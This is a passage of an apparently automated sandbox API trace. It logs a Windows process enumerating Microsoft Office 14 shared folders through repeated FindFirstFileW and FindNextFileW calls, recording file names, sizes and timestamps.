ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.130] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.130] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1 [0169.130] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0 [0169.130] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0169.130] GetProcessHeap () returned 0x6a0000 [0169.130] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x378a588 | out: hHeap=0x6a0000) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0169.131] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0169.132] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0169.132] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0169.132] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0169.132] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0169.132] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0169.132] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0169.133] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0169.133] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0169.133] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0169.133] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0169.133] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0169.134] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0169.134] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0169.134] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0169.134] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0169.134] GetProcessHeap () returned 0x6a0000 [0169.134] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x378a588 [0169.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0169.318] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.318] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0169.318] GetProcessHeap () returned 0x6a0000 [0169.318] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.320] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.321] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0169.321] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1 [0169.321] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.321] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.321] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.322] GetProcessHeap () returned 0x6a0000 [0169.322] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.322] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0169.322] GetProcessHeap () returned 0x6a0000 [0169.323] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.323] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.323] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0169.323] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.323] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.323] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.323] GetProcessHeap () returned 0x6a0000 [0169.323] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.323] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0169.323] GetProcessHeap () returned 0x6a0000 [0169.323] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.324] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.324] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0169.324] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.324] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, 